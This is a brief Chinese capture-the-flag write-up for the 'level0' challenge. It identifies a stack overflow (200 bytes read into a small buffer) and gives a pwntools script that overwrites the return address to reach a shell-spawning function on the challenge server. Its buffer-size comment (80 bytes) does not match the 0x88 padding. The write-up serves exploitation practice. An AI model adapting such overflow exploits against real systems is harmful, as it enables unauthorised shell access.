file查看文件类型,checksec检查保护机制
64位ELF文件,没有开启保护机制
IDA查看伪码
主函数输出"Hello,World!"后调用函数vulnerable_function()
在函数vulnerable_function()中,每次读取200Byte的字节存储在buf中
buf的空间只有80Byte,存在栈溢出
shift+F12搜索字符串
发现"/bin/sh"位于函数callsystem中,可以通过栈溢出覆盖返回地址为callsystem执行system函数
构造exp
from pwn import *
context(os='linux',arch="amd64",log_level="debug")
content = 0
def main():
if content == 1:
os = process("level0")
else:
os = remote("220.249.52.133",53332)
payload =b'a'*(0x88)+p64(0x400596) # buf容量为80Byte,加上8Byte栈底距返回地址长度加上callsystem地址
os.recvuntil("Hello, World\n")
os.sendline(payload)
os.interactive()
main()
flag